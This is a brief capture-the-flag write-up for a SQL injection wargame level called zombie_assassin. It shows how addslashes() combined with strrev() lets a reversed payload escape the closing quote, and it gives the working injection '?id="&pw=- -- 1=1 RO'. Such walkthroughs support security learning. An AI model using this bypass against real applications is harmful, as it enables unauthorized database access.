zombie_assassin
We are provided with the SQL query:
SELECT id FROM prob_zombie_assassin WHERE id='{$_GET[id]}' AND pw='{$_GET[pw]}'
This challenge use the addslashes() function to add a (\) before every input quote. It then reverses the string using the strrev()s function.
If we provide the following URI parameter:
?id="
The resultant query becomes:
SELECT id FROM prob_zombie_assassin WHERE id='"\' AND pw=''
Our input double-quote (") is escaped (\") and then the entire character sequence is reversed ("\).
This causes the original closing single-quote to be escaped ("\') and the "\' AND pw= part is treated as a string.
We can now provide the following URI parameter:
?id="&pw=- -- 1=1 RO
The resultant query becomes:
SELECT id FROM prob_zombie_assassin WHERE id='"\' AND pw=' OR 1=1 -- -'